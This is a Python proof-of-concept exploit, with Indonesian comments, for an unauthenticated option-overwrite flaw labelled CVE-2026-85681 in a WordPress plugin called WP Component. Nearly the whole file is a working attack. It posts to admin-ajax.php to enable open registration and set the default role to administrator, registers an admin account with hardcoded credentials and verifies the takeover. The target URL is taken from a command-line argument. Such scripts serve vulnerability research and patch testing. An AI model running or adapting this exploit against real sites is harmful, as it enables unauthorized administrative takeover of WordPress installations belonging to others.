#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PoC CVE-2026-85681 — WP Component (WordPress plugin) <= 2.2.4
Unauthorized option overwrite via wp_ajax_nopriv_wpcomponent_setSetting
-> users_can_register=1 + default_role=administrator -> registrasi akun admin = site takeover.

Target lab default: http://cve-2026-85681.test
Ubah target lewat argumen: python poc.py http://target-lain.test
"""

import sys
import re
import requests

requests.packages.urllib3.disable_warnings()

# ---------------------------------------------------------------------------
# Konfigurasi
# ---------------------------------------------------------------------------
if len(sys.argv) > 1:
    BASE = sys.argv[1].rstrip("/")
else:
    BASE = "http://cve-2026-85681.test"

ADMIN_AJAX = BASE + "/wp-admin/admin-ajax.php"
REGISTER = BASE + "/wp-login.php?action=register"
LOGIN = BASE + "/wp-login.php"

# Kredensial akun admin hasil exploit (unik per run, mudah dilacak saat reset)
EXPLOIT_USER = "wpc_takeover_31337"
EXPLOIT_PASS = "T4ke0ver!85681#xQ"
EXPLOIT_MAIL = "wpc31337@takeover.invalid"

TIMEOUT = 15
S = requests.Session()
S.verify = False
S.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) CVE-2026-85681-PoC/1.0"})


def banner():
    print("[*] ==========================================================")
    print("[*] PoC CVE-2026-85681 — WP Component <= 2.2.4")
    print("[*] Unauthenticated option overwrite -> WordPress site takeover")
    print("[*] Target: {}".format(BASE))
    print("[*] ==========================================================")


def cek_konektivitas():
    print("[*] [1/7] Mengecek konektivitas target ...")
    try:
        r = S.get(BASE + "/", timeout=TIMEOUT)
        if r.status_code == 200:
            print("[+] Target hidup (HTTP 200): {}".format(BASE))
            return True
        print("[-] Target merespons HTTP {} — tidak seperti lab WP yang sehat.".format(r.status_code))
        return False
    except requests.RequestException as e:
        print("[-] Gagal menghubungi target: {}".format(e))
        return False


def status_pendaftaran():
    print("[*] [2/7] Membaca status pendaftaran awal ...")
    try:
        r = S.get(REGISTER, timeout=TIMEOUT, allow_redirects=True)
        # WordPress menampilkan form registrasi (input name="user_login") bila
        # users_can_register aktif; bila tidak, halaman berisi pesan registrasi ditutup.
        if re.search(r'name="user_login"', r.text):
            print("[!] Pendaftaran SUDAH terbuka sejak awal (users_can_register=1).")
            return True
        if re.search(r'(registration|registrasi|closed|ditutup|not allowed|tidak diizinkan)', r.text, re.I):
            print("[*] Pendaftaran tertutup sejak awal — lab dalam kondisi pristine.")
            return False
        print("[!] Tidak dapat memastikan status pendaftaran dari halaman (HTML tak dikenali).")
        return False
    except requests.RequestException as e:
        print("[-] Gagal membaca halaman registrasi: {}".format(e))
        return False


def overwrite_option(option, value):
    print("[*] [3/7] Mengirim payload: update_option('{}', '{}') ...".format(option, value))
    try:
        r = S.post(ADMIN_AJAX, data={"action": "wpcomponent_setSetting",
                                     "option": option, "value": value},
                   timeout=TIMEOUT)
        # Handler asli plugin hanya melakukan die() tanpa output apa pun.
        if r.status_code == 200:
            print("[+] Endpoint merespons HTTP 200 (kosong) — payload diterima.")
            return True
        print("[-] Endpoint merespons HTTP {} — payload mungkin ditolak.".format(r.status_code))
        return False
    except requests.RequestException as e:
        print("[-] Gagal mengirim payload: {}".format(e))
        return False


def verifikasi_pendaftaran_terbuka():
    print("[*] [4/7] Memverifikasi pendaftaran kini terbuka ...")
    try:
        r = S.get(REGISTER, timeout=TIMEOUT, allow_redirects=True)
        if re.search(r'name="user_login"', r.text):
            print("[+] Form registrasi muncul — users_can_register berhasil di-overwrite menjadi 1.")
            return True
        print("[-] Form registrasi TIDAK muncul — overwrite users_can_register gagal.")
        return False
    except requests.RequestException as e:
        print("[-] Gagal memverifikasi: {}".format(e))
        return False


def daftar_admin():
    print("[*] [5/7] Mendaftarkan akun admin '{}' via default_role=administrator ...".format(EXPLOIT_USER))
    try:
        r = S.post(REGISTER, data={"user_login": EXPLOIT_USER, "user_email": EXPLOIT_MAIL},
                   timeout=TIMEOUT, allow_redirects=True)
        if re.search(r'(checkemail=registered|registered|registrasi berhasil|check your email)', r.text, re.I):
            print("[+] User '{}' terdaftar (WordPress mengarahkan ke halaman konfirmasi email).".format(EXPLOIT_USER))
            return True
        if re.search(r'(already exists|sudah terdaftar|sedang digunakan)', r.text, re.I):
            print("[!] Username '{}' sudah ada — lanjut ke verifikasi login.".format(EXPLOIT_USER))
            return True
        print("[-] Registrasi tidak menghasilkan konfirmasi yang diharapkan (HTTP {}).".format(r.status_code))
        return False
    except requests.RequestException as e:
        print("[-] Gagal registrasi: {}".format(e))
        return False


def verifikasi_akun_terbuat():
    """Verifikasi remote: WordPress membedakan pesan error untuk username yang
    ADA tapi password salah vs username yang tidak dikenal."""
    print("[*] [6/7] Memverifikasi remote keberadaan akun '{}' ...".format(EXPLOIT_USER))
    try:
        r = S.post(LOGIN, data={"log": EXPLOIT_USER, "pwd": "salah-sengaja-untuk-probe",
                                "wp-submit": "Log In"},
                   timeout=TIMEOUT, allow_redirects=True)
        if re.search(r'(incorrect|salah|Invalid password|password yang Anda masukkan)', r.text, re.I) \
           or 'pwd' in r.text:
            print("[+] Akun '{}' TERBUKTI ADA di server (WP menolak password salah khusus untuknya).".format(EXPLOIT_USER))
            return True
        if re.search(r'(unknown username|nama pengguna tidak dikenal|Invalid username)', r.text, re.I):
            print("[-] Username '{}' tidak dikenal WP — registrasi gagal.".format(EXPLOIT_USER))
            return False
        print("[!] Tidak dapat memastikan keberadaan akun dari respons login.")
        return False
    except requests.RequestException as e:
        print("[-] Gagal verifikasi akun: {}".format(e))
        return False


def verifikasi_takeover():
    print("[*] [7/7] Percobaan login penuh sebagai admin '{}' ...".format(EXPLOIT_USER))
    try:
        r = S.post(LOGIN, data={"log": EXPLOIT_USER, "pwd": EXPLOIT_PASS,
                                "wp-submit": "Log In", "redirect_to": BASE + "/wp-admin/"},
                   timeout=TIMEOUT, allow_redirects=False)
        if r.status_code in (301, 302) and "wp-admin" in r.headers.get("Location", ""):
            print("[+] LOGIN BERHASIL — redirect ke wp-admin.")
            print("[+] ==========================================================")
            print("[+] TAKEOVER TERVERIFIKASI PENUH: {} / {}".format(EXPLOIT_USER, EXPLOIT_PASS))
            print("[+] ==========================================================")
            return True
        print("[!] Login penuh belum berhasil (HTTP {}).".format(r.status_code))
        print("[!] Pada WordPress, password registrasi DIBUAT ACAK dan dikirim lewat email.")
        print("[!] Di produksi: penyerang membaca password dari email registrasi -> takeover penuh.")
        print("[!] Di lab offline (tanpa SMTP), selesaikan langkah email secara lokal:")
        print("[!]   wp user update {} --user_pass={}".format(EXPLOIT_USER, EXPLOIT_PASS))
        print("[!] lalu jalankan ulang PoC ini — tahap 7/7 akan berhasil.")
        return False
    except requests.RequestException as e:
        print("[-] Gagal verifikasi login: {}".format(e))
        return False


def main():
    banner()
    if not cek_konektivitas():
        sys.exit(1)
    status_pendaftaran()
    if not overwrite_option("users_can_register", "1"):
        sys.exit(1)
    if not overwrite_option("default_role", "administrator"):
        sys.exit(1)
    if not verifikasi_pendaftaran_terbuka():
        print("[-] Berhenti: pendaftaran tidak terbuka, rantai exploit putus.")
        sys.exit(1)
    if not daftar_admin():
        print("[-] Berhenti: registrasi user gagal.")
        sys.exit(1)
    akun_ada = verifikasi_akun_terbuat()
    login_ok = verifikasi_takeover()
    if login_ok:
        print("[*] PoC selesai: takeover admin TERVERIFIKASI END-TO-END.")
        sys.exit(0)
    if akun_ada:
        print("[*] PoC selesai: akun admin TERBUAT via request tanpa autentikasi")
        print("[*] (dampak CVE terdemonstrasikan; password di produksi diperoleh via email).")
        sys.exit(0)
    print("[-] PoC selesai dengan kegagalan.")
    sys.exit(1)


if __name__ == "__main__":
    main()
